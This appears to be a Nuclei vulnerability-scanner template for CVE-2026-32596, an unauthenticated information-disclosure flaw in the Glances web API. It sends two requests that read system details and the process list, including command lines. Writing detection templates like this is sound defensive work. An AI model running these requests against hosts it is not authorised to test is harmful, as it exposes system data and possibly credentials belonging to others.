Glances - Information Disclosure

id: CVE-2026-32596

info:
  name: Glances - Information Disclosure
  author: theamanrawat
  severity: high
  description: |
    Glances < 4.5.2 contains an information disclosure vulnerability caused by the web server running without authentication by default, letting remote attackers access sensitive system information including credentials, exploit requires no special privileges.
  impact: |
    Remote attackers can access sensitive system information including credentials, risking data exposure and system compromise.
  remediation: |
    Update to version 4.5.2 or later.
  reference:
    - https://github.com/nicolargo/glances/security/advisories/GHSA-wvxv-4j8q-4wjq
    - https://nvd.nist.gov/vuln/detail/CVE-2026-32596
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-32596
    epss-score: 0.039
    epss-percentile: 0.88425
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2026,glances,exposure,unauth,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/4/system"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "os_name", "os_version", "hostname")'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/api/4/processlist"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "cmdline", "cpu_times", "memory_info")'
        condition: and
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